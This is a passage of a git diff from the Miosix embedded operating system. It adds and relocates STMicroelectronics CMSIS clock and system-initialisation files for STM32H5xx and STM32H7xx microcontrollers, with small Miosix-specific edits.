variable: Contains the core clock (HCLK), it can be used + * by the user application to setup the SysTick + * timer or configure other parameters. + * + * - SystemCoreClockUpdate(): Updates the variable SystemCoreClock and must + * be called whenever the core clock is changed + * during program execution. + * + * After each device reset the HSI (64 MHz) is used as system clock source. + * Then SystemInit() function is called, in "startup_stm32h5xx.s" file, to + * configure the system clock before to branch to main program. + * + * This file configures the system clock as follows: + *============================================================================= + *----------------------------------------------------------------------------- + * System Clock source | HSI + *----------------------------------------------------------------------------- + * SYSCLK(Hz) | 64000000 + *----------------------------------------------------------------------------- + * HCLK(Hz) | 64000000 + *----------------------------------------------------------------------------- + * AHB Prescaler | 1 + *----------------------------------------------------------------------------- + * APB1 Prescaler | 1 + *----------------------------------------------------------------------------- + * APB2 Prescaler | 1 + *----------------------------------------------------------------------------- + * APB3 Prescaler | 1 + *----------------------------------------------------------------------------- + * HSI Division factor | 1 + *----------------------------------------------------------------------------- + * PLL1_SRC | No clock + *----------------------------------------------------------------------------- + * PLL1_M | Prescaler disabled + *----------------------------------------------------------------------------- + * PLL1_N | 129 + *----------------------------------------------------------------------------- + * PLL1_P | 2 + *----------------------------------------------------------------------------- + * PLL1_Q | 2 + *----------------------------------------------------------------------------- + * PLL1_R | 2 + *----------------------------------------------------------------------------- + * PLL1_FRACN | 0 + *----------------------------------------------------------------------------- + * PLL2_SRC | No clock + *----------------------------------------------------------------------------- + * PLL2_M | Prescaler disabled + *----------------------------------------------------------------------------- + * PLL2_N | 129 + *----------------------------------------------------------------------------- + * PLL2_P | 2 + *----------------------------------------------------------------------------- + * PLL2_Q | 2 + *----------------------------------------------------------------------------- + * PLL2_R | 2 + *----------------------------------------------------------------------------- + * PLL2_FRACN | 0 + *----------------------------------------------------------------------------- + * PLL3_SRC | No clock + *----------------------------------------------------------------------------- + * PLL3_M | Prescaler disabled + *----------------------------------------------------------------------------- + * PLL3_N | 129 + *----------------------------------------------------------------------------- + * PLL3_P | 2 + *----------------------------------------------------------------------------- + * PLL3_Q | 2 + *----------------------------------------------------------------------------- + * PLL3_R | 2 + *----------------------------------------------------------------------------- + * PLL3_FRACN | 0 + *----------------------------------------------------------------------------- + *============================================================================= + */ + +/** @addtogroup CMSIS + * @{ + */ + +/** @addtogroup STM32H5xx_system + * @{ + */ + +/** @addtogroup STM32H5xx_System_Private_Includes + * @{ + */ + +#include "board_settings.h" +//By TFT: was #include "stm32h5xx.h", but the specific chip is #defined in +//arch_registers_impl.h +#include "interfaces/arch_registers.h" + +/** + * @} + */ + +/** @addtogroup STM32H5xx_System_Private_TypesDefinitions + * @{ + */ + +/** + * @} + */ + +/** @addtogroup STM32H5xx_System_Private_Defines + * @{ + */ + +#if !defined (CSI_VALUE) + #define CSI_VALUE (4000000UL) /*!< Value of the Internal oscillator in Hz*/ +#endif /* CSI_VALUE */ + +#if !defined (HSI_VALUE) + #define HSI_VALUE (64000000UL) /*!< Value of the Internal oscillator in Hz */ +#endif /* HSI_VALUE */ + +/************************* Miscellaneous Configuration ************************/ +/*!< Uncomment the following line if you need to relocate your vector Table in + Internal SRAM. */ +/* #define VECT_TAB_SRAM */ +#define VECT_TAB_OFFSET 0x00U /*!< Vector Table base offset field. + This value must be a multiple of 0x200. */ +/******************************************************************************/ + +/** + * @} + */ + +/** @addtogroup STM32H5xx_System_Private_Macros + * @{ + */ + +/** + * @} + */ + +/** @addtogroup STM32H5xx_System_Private_Variables + * @{ + */ + /* The SystemCoreClock variable is updated in three ways: + 1) by calling CMSIS function SystemCoreClockUpdate() + 2) by calling HAL API function HAL_RCC_GetHCLKFreq() + 3) each time HAL_RCC_ClockConfig() is called to configure the system clock frequency + Note: If you use this function to configure the system clock; then there + is no need to call the 2 first functions listed above, since SystemCoreClock + variable is updated automatically. + */ + uint32_t SystemCoreClock = 64000000U; + + const uint8_t AHBPrescTable[16] = {0U, 0U, 0U, 0U, 0U, 0U, 0U, 0U, 1U, 2U, 3U, 4U, 6U, 7U, 8U, 9U}; + const uint8_t APBPrescTable[8] = {0U, 0U, 0U, 0U, 1U, 2U, 3U, 4U}; +/** + * @} + */ + +/** @addtogroup STM32H5xx_System_Private_FunctionPrototypes + * @{ + */ + +/** + * @} + */ + +/** @addtogroup STM32H5xx_System_Private_Functions + * @{ + */ + +/** + * @brief Setup the microcontroller system. + * @param None + * @retval None + */ + +void SystemInit(void) +{ + uint32_t reg_opsr; + + /* FPU settings ------------------------------------------------------------*/ + #if (__FPU_PRESENT == 1) && (__FPU_USED == 1) + SCB->CPACR |= ((3UL << 20U)|(3UL << 22U)); /* set CP10 and CP11 Full Access */ + #endif + + /* Reset the RCC clock configuration to the default reset state ------------*/ + /* Set HSION bit */ + RCC->CR = RCC_CR_HSION; + + /* Reset CFGR register */ + RCC->CFGR1 = 0U; + RCC->CFGR2 = 0U; + + /* Reset HSEON, HSECSSON, HSEBYP, HSEEXT, HSIDIV, HSIKERON, CSION, CSIKERON, HSI48 and PLLxON bits */ +#if defined(RCC_CR_PLL3ON) + RCC->CR &= ~(RCC_CR_HSEON | RCC_CR_HSECSSON | RCC_CR_HSEBYP | RCC_CR_HSEEXT | RCC_CR_HSIDIV | RCC_CR_HSIKERON | \ + RCC_CR_CSION | RCC_CR_CSIKERON |RCC_CR_HSI48ON | RCC_CR_PLL1ON | RCC_CR_PLL2ON | RCC_CR_PLL3ON); +#else + RCC->CR &= ~(RCC_CR_HSEON | RCC_CR_HSECSSON | RCC_CR_HSEBYP | RCC_CR_HSEEXT | RCC_CR_HSIDIV | RCC_CR_HSIKERON | \ + RCC_CR_CSION | RCC_CR_CSIKERON |RCC_CR_HSI48ON | RCC_CR_PLL1ON | RCC_CR_PLL2ON); +#endif + + /* Reset PLLxCFGR register */ + RCC->PLL1CFGR = 0U; + RCC->PLL2CFGR = 0U; +#if defined(RCC_CR_PLL3ON) + RCC->PLL3CFGR = 0U; +#endif /* RCC_CR_PLL3ON */ + + /* Reset PLL1DIVR register */ + RCC->PLL1DIVR = 0x01010280U; + /* Reset PLL1FRACR register */ + RCC->PLL1FRACR = 0x00000000U; + /* Reset PLL2DIVR register */ + RCC->PLL2DIVR = 0x01010280U; + /* Reset PLL2FRACR register */ + RCC->PLL2FRACR = 0x00000000U; +#if defined(RCC_CR_PLL3ON) + /* Reset PLL3DIVR register */ + RCC->PLL3DIVR = 0x01010280U; + /* Reset PLL3FRACR register */ + RCC->PLL3FRACR = 0x00000000U; +#endif /* RCC_CR_PLL3ON */ + + /* Reset HSEBYP bit */ + RCC->CR &= ~(RCC_CR_HSEBYP); + + /* Disable all interrupts */ + RCC->CIER = 0U; + + /* Configure the Vector Table location add offset address ------------------*/ + #ifdef VECT_TAB_SRAM + SCB->VTOR = SRAM1_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal SRAM */ + #else + SCB->VTOR = FLASH_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal FLASH */ + #endif /* VECT_TAB_SRAM */ + + /* Check OPSR register to verify if there is an ongoing swap or option bytes update interrupted by a reset */ + reg_opsr = FLASH->OPSR & FLASH_OPSR_CODE_OP; + if ((reg_opsr == FLASH_OPSR_CODE_OP) || (reg_opsr == (FLASH_OPSR_CODE_OP_2 | FLASH_OPSR_CODE_OP_1))) + { + /* Check FLASH Option Control Register access */ + if ((FLASH->OPTCR & FLASH_OPTCR_OPTLOCK) != 0U) + { + /* Authorizes the Option Byte registers programming */ + FLASH->OPTKEYR = 0x08192A3BU; + FLASH->OPTKEYR = 0x4C5D6E7FU; + } + /* Launch the option bytes change operation */ + FLASH->OPTCR |= FLASH_OPTCR_OPTSTART; + + /* Lock the FLASH Option Control Register access */ + FLASH->OPTCR |= FLASH_OPTCR_OPTLOCK; + } +} + +/** + * @brief Update SystemCoreClock variable according to Clock Register Values. + * The SystemCoreClock variable contains the core clock (HCLK), it can + * be used by the user application to setup the SysTick timer or configure + * other parameters. + * + * @note Each time the core clock (HCLK) changes, this function must be called + * to update SystemCoreClock variable value. Otherwise, any configuration + * based on this variable will be incorrect. + * + * @note - The system frequency computed by this function is not the real + * frequency in the chip. It is calculated based on the predefined + * constant and the selected clock source: + * + * - If SYSCLK source is CSI, SystemCoreClock will contain the CSI_VALUE(*) + * + * - If SYSCLK source is HSI, SystemCoreClock will contain the HSI_VALUE(**) + * + * - If SYSCLK source is HSE, SystemCoreClock will contain the HSE_VALUE(***) + * + * - If SYSCLK source is PLL, SystemCoreClock will contain the HSE_VALUE(***) + * or HSI_VALUE(**) or CSI_VALUE(*) multiplied/divided by the PLL factors. + * + * (*) CSI_VALUE is a constant defined in stm32h5xx_hal.h file (default value + * 4 MHz) but the real value may vary depending on the variations + * in voltage and temperature. + * + * (**) HSI_VALUE is a constant defined in stm32h5xx_hal.h file (default value + * 64 MHz) but the real value may vary depending on the variations + * in voltage and temperature. + * + * (***) HSE_VALUE is a constant defined in stm32h5xx_hal.h file (default value + * 25 MHz), user has to ensure that HSE_VALUE is same as the real + * frequency of the crystal used. Otherwise, this function may + * have wrong result. + * + * - The result of this function could be not correct when using fractional + * value for HSE crystal. + * + * @param None + * @retval None + */ +void SystemCoreClockUpdate(void) +{ + uint32_t pllp, pllsource, pllm, pllfracen, hsivalue, tmp; + float_t fracn1, pllvco; + + /* Get SYSCLK source -------------------------------------------------------*/ + switch (RCC->CFGR1 & RCC_CFGR1_SWS) + { + case 0x00UL: /* HSI used as system clock source */ + SystemCoreClock = (uint32_t) (HSI_VALUE >> ((RCC->CR & RCC_CR_HSIDIV)>> 3)); + break; + + case 0x08UL: /* CSI used as system clock source */ + SystemCoreClock = CSI_VALUE; + break; + + case 0x10UL: /* HSE used as system clock source */ + SystemCoreClock = miosix::hseFrequency; + break; + + case 0x18UL: /* PLL1 used as system clock source */ + /* PLL_VCO = (HSE_VALUE or HSI_VALUE or CSI_VALUE/ PLLM) * PLLN + SYSCLK = PLL_VCO / PLLR + */ + pllsource = (RCC->PLL1CFGR & RCC_PLL1CFGR_PLL1SRC); + pllm = ((RCC->PLL1CFGR & RCC_PLL1CFGR_PLL1M)>> RCC_PLL1CFGR_PLL1M_Pos); + pllfracen = ((RCC->PLL1CFGR & RCC_PLL1CFGR_PLL1FRACEN)>>RCC_PLL1CFGR_PLL1FRACEN_Pos); + fracn1 = (float_t)(uint32_t)(pllfracen* ((RCC->PLL1FRACR & RCC_PLL1FRACR_PLL1FRACN)>> RCC_PLL1FRACR_PLL1FRACN_Pos)); + + switch (pllsource) + { + case 0x01UL: /* HSI used as PLL clock source */ + hsivalue = (HSI_VALUE >> ((RCC->CR & RCC_CR_HSIDIV)>> 3)) ; + pllvco = ((float_t)hsivalue / (float_t)pllm) * ((float_t)(uint32_t)(RCC->PLL1DIVR & RCC_PLL1DIVR_PLL1N) + \ + (fracn1/(float_t)0x2000) +(float_t)1 ); + break; + + case 0x02UL: /* CSI used as PLL clock source */ + pllvco = ((float_t)CSI_VALUE / (float_t)pllm) * ((float_t)(uint32_t)(RCC->PLL1DIVR & RCC_PLL1DIVR_PLL1N) + \ + (fracn1/(float_t)0x2000) +(float_t)1 ); + break; + + case 0x03UL: /* HSE used as PLL clock source */ + pllvco = ((float_t)miosix::hseFrequency / (float_t)pllm) * ((float_t)(uint32_t)(RCC->PLL1DIVR & RCC_PLL1DIVR_PLL1N) + \ + (fracn1/(float_t)0x2000) +(float_t)1 ); + break; + + default: /* No clock sent to PLL*/ + pllvco = (float_t) 0U; + break; + } + + pllp = (((RCC->PLL1DIVR & RCC_PLL1DIVR_PLL1P) >>RCC_PLL1DIVR_PLL1P_Pos) + 1U ) ; + SystemCoreClock = (uint32_t)(float_t)(pllvco/(float_t)pllp); + + break; + + default: + SystemCoreClock = HSI_VALUE; + break; + } + /* Compute HCLK clock frequency --------------------------------------------*/ + /* Get HCLK prescaler */ + tmp = AHBPrescTable[((RCC->CFGR2 & RCC_CFGR2_HPRE) >> RCC_CFGR2_HPRE_Pos)]; + /* HCLK clock frequency */ + SystemCoreClock >>= tmp; +} + + +/** + * @} + */ + +/** + * @} + */ + +/** + * @} + */ + diff --git a/miosix/arch/CMSIS/Device/ST/STM32H5xx/miosix_patches.patch b/miosix/arch/CMSIS/Device/ST/STM32H5xx/miosix_patches.patch new file mode 100644 index 000000000..19602765e --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32H5xx/miosix_patches.patch @@ -0,0 +1,72 @@ +diff --color -ruN Include.orig/stm32h503xx.h Include/stm32h503xx.h +--- Include.orig/stm32h503xx.h 2024-10-30 18:07:41.000000000 +0100 ++++ Include/stm32h503xx.h 2025-02-01 22:19:43.112609641 +0100 +@@ -186,7 +186,7 @@ + /** @} */ /* End of group Configuration_of_CMSIS */ + + +-#include "core_cm33.h" /*!< ARM Cortex-M33 processor and core peripherals */ ++#include /*!< ARM Cortex-M33 processor and core peripherals */ + #include "system_stm32h5xx.h" /*!< STM32H5xx System */ + + +diff --color -ruN Include.orig/stm32h523xx.h Include/stm32h523xx.h +--- Include.orig/stm32h523xx.h 2024-10-30 18:07:41.000000000 +0100 ++++ Include/stm32h523xx.h 2025-02-01 22:20:17.220511668 +0100 +@@ -215,7 +215,7 @@ + /** @} */ /* End of group Configuration_of_CMSIS */ + + +-#include "core_cm33.h" /*!< ARM Cortex-M33 processor and core peripherals */ ++#include /*!< ARM Cortex-M33 processor and core peripherals */ + #include "system_stm32h5xx.h" /*!< STM32H5xx System */ + + +diff --color -ruN Include.orig/stm32h533xx.h Include/stm32h533xx.h +--- Include.orig/stm32h533xx.h 2024-10-30 18:07:41.000000000 +0100 ++++ Include/stm32h533xx.h 2025-02-01 22:20:25.680487595 +0100 +@@ -218,7 +218,7 @@ + /** @} */ /* End of group Configuration_of_CMSIS */ + + +-#include "core_cm33.h" /*!< ARM Cortex-M33 processor and core peripherals */ ++#include /*!< ARM Cortex-M33 processor and core peripherals */ + #include "system_stm32h5xx.h" /*!< STM32H5xx System */ + + +diff --color -ruN Include.orig/stm32h562xx.h Include/stm32h562xx.h +--- Include.orig/stm32h562xx.h 2024-10-30 18:07:41.000000000 +0100 ++++ Include/stm32h562xx.h 2025-02-01 22:20:34.364462963 +0100 +@@ -234,7 +234,7 @@ + /** @} */ /* End of group Configuration_of_CMSIS */ + + +-#include "core_cm33.h" /*!< ARM Cortex-M33 processor and core peripherals */ ++#include /*!< ARM Cortex-M33 processor and core peripherals */ + #include "system_stm32h5xx.h" /*!< STM32H5xx System */ + + +diff --color -ruN Include.orig/stm32h563xx.h Include/stm32h563xx.h +--- Include.orig/stm32h563xx.h 2024-10-30 18:07:41.000000000 +0100 ++++ Include/stm32h563xx.h 2025-02-01 22:20:46.028430022 +0100 +@@ -239,7 +239,7 @@ + /** @} */ /* End of group Configuration_of_CMSIS */ + + +-#include "core_cm33.h" /*!< ARM Cortex-M33 processor and core peripherals */ ++#include /*!< ARM Cortex-M33 processor and core peripherals */ + #include "system_stm32h5xx.h" /*!< STM32H5xx System */ + + +diff --color -ruN Include.orig/stm32h573xx.h Include/stm32h573xx.h +--- Include.orig/stm32h573xx.h 2024-10-30 18:07:41.000000000 +0100 ++++ Include/stm32h573xx.h 2025-02-01 22:20:55.980402038 +0100 +@@ -242,7 +242,7 @@ + /** @} */ /* End of group Configuration_of_CMSIS */ + + +-#include "core_cm33.h" /*!< ARM Cortex-M33 processor and core peripherals */ ++#include /*!< ARM Cortex-M33 processor and core peripherals */ + #include "system_stm32h5xx.h" /*!< STM32H5xx System */ + + diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h723xx.h b/miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h723xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h723xx.h rename to miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h723xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h725xx.h b/miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h725xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h725xx.h rename to miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h725xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h730xx.h b/miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h730xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h730xx.h rename to miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h730xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h730xxq.h b/miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h730xxq.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h730xxq.h rename to miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h730xxq.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h733xx.h b/miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h733xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h733xx.h rename to miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h733xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h735xx.h b/miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h735xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h735xx.h rename to miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h735xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h742xx.h b/miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h742xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h742xx.h rename to miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h742xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h743xx.h b/miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h743xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h743xx.h rename to miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h743xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h745xg.h b/miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h745xg.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h745xg.h rename to miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h745xg.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h745xx.h b/miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h745xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h745xx.h rename to miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h745xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h747xg.h b/miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h747xg.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h747xg.h rename to miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h747xg.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h747xx.h b/miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h747xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h747xx.h rename to miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h747xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h750xx.h b/miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h750xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h750xx.h rename to miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h750xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h753xx.h b/miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h753xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h753xx.h rename to miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h753xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h755xx.h b/miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h755xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h755xx.h rename to miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h755xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h757xx.h b/miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h757xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h757xx.h rename to miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h757xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h7a3xx.h b/miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h7a3xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h7a3xx.h rename to miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h7a3xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h7a3xxq.h b/miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h7a3xxq.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h7a3xxq.h rename to miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h7a3xxq.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h7b0xx.h b/miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h7b0xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h7b0xx.h rename to miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h7b0xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h7b0xxq.h b/miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h7b0xxq.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h7b0xxq.h rename to miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h7b0xxq.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h7b3xx.h b/miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h7b3xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h7b3xx.h rename to miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h7b3xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h7b3xxq.h b/miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h7b3xxq.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h7b3xxq.h rename to miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h7b3xxq.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h7xx.h b/miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h7xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/stm32h7xx.h rename to miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/stm32h7xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/system_stm32h7xx.h b/miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/system_stm32h7xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Include/system_stm32h7xx.h rename to miosix/arch/CMSIS/Device/ST/STM32H7xx/Include/system_stm32h7xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32H7xx/LICENSE.md b/miosix/arch/CMSIS/Device/ST/STM32H7xx/LICENSE.md similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32H7xx/LICENSE.md rename to miosix/arch/CMSIS/Device/ST/STM32H7xx/LICENSE.md diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Release_Notes.html b/miosix/arch/CMSIS/Device/ST/STM32H7xx/Release_Notes.html similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Release_Notes.html rename to miosix/arch/CMSIS/Device/ST/STM32H7xx/Release_Notes.html diff --git a/miosix/arch/CMSIS/Device/ST/STM32H7xx/Source/Templates/system_stm32h7xx.cpp b/miosix/arch/CMSIS/Device/ST/STM32H7xx/Source/Templates/system_stm32h7xx.cpp new file mode 100644 index 000000000..d2d40cfbb --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32H7xx/Source/Templates/system_stm32h7xx.cpp @@ -0,0 +1,581 @@ +/** + ****************************************************************************** + * @file system_stm32h7xx.c + * @author MCD Application Team + * @version V1.2.0 + * @date 29-December-2017 + * @brief CMSIS Cortex-Mx Device Peripheral Access Layer System Source File. + * + * This file provides two functions and one global variable to be called from + * user application: + * - SystemInit(): This function is called at startup just after reset and + * before branch to main program. This call is made inside + * the "startup_stm32h7xx.s" file. + * + * - SystemCoreClock variable: Contains the core clock (HCLK), it can be used + * by the user application to setup the SysTick + * timer or configure other parameters. + * + * - SystemCoreClockUpdate(): Updates the variable SystemCoreClock and must + * be called whenever the core clock is changed + * during program execution. + * + * + ****************************************************************************** + * @attention + * + *

© COPYRIGHT(c) 2017 STMicroelectronics

+ * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * 3. Neither the name of STMicroelectronics nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, + * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************** + */ + +/** @addtogroup CMSIS + * @{ + */ + +/** @addtogroup stm32h7xx_system + * @{ + */ + +/** @addtogroup STM32H7xx_System_Private_Includes + * @{ + */ + +#include "board_settings.h" +//By TFT: was #include "stm32f7xx.h", but the specific chip is #defined in +//arch_registers_impl.h +#include "interfaces/arch_registers.h" + +#if !defined (CSI_VALUE) + #define CSI_VALUE ((uint32_t)4000000) /*!< Value of the Internal oscillator in Hz*/ +#endif /* CSI_VALUE */ + +#if !defined (HSI_VALUE) + #define HSI_VALUE ((uint32_t)64000000) /*!< Value of the Internal oscillator in Hz*/ +#endif /* HSI_VALUE */ + + +/** + * @} + */ + +/** @addtogroup STM32H7xx_System_Private_TypesDefinitions + * @{ + */ + +/** + * @} + */ + +/** @addtogroup STM32H7xx_System_Private_Defines + * @{ + */ + +/************************* Miscellaneous Configuration ************************/ +/*!< Uncomment the following line if you need to use external SRAM or SDRAM mounted + on EVAL board as data memory */ +/*#define DATA_IN_ExtSRAM */ +/*#define DATA_IN_ExtSDRAM*/ + +#if defined(DATA_IN_ExtSRAM) && defined(DATA_IN_ExtSDRAM) + #error "Please select DATA_IN_ExtSRAM or DATA_IN_ExtSDRAM " +#endif /* DATA_IN_ExtSRAM && DATA_IN_ExtSDRAM */ + +/*!< Uncomment the following line if you need to relocate your vector Table in + Internal SRAM. */ +/* #define VECT_TAB_SRAM */ +#define VECT_TAB_OFFSET 0x00 /*!< Vector Table base offset field. + This value must be a multiple of 0x200. */ +/******************************************************************************/ + +/** + * @} + */ + +/** @addtogroup STM32H7xx_System_Private_Macros + * @{ + */ + +/** + * @} + */ + +/** @addtogroup STM32H7xx_System_Private_Variables + * @{ + */ + /* This variable is updated in three ways: + 1) by calling CMSIS function SystemCoreClockUpdate() + 2) by calling HAL API function HAL_RCC_GetHCLKFreq() + 3) each time HAL_RCC_ClockConfig() is called to configure the system clock frequency + Note: If you use this function to configure the system clock; then there + is no need to call the 2 first functions listed above, since SystemCoreClock + variable is updated automatically. + */ +//By TFT: we increase the clock BEFORE initializing .data and .bss! +uint32_t SystemCoreClock = miosix::cpuFrequency; +// uint32_t SystemCoreClock = 64000000; +uint32_t SystemD2Clock = 64000000; +const uint8_t D1CorePrescTable[16] = {0, 0, 0, 0, 1, 2, 3, 4, 1, 2, 3, 4, 6, 7, 8, 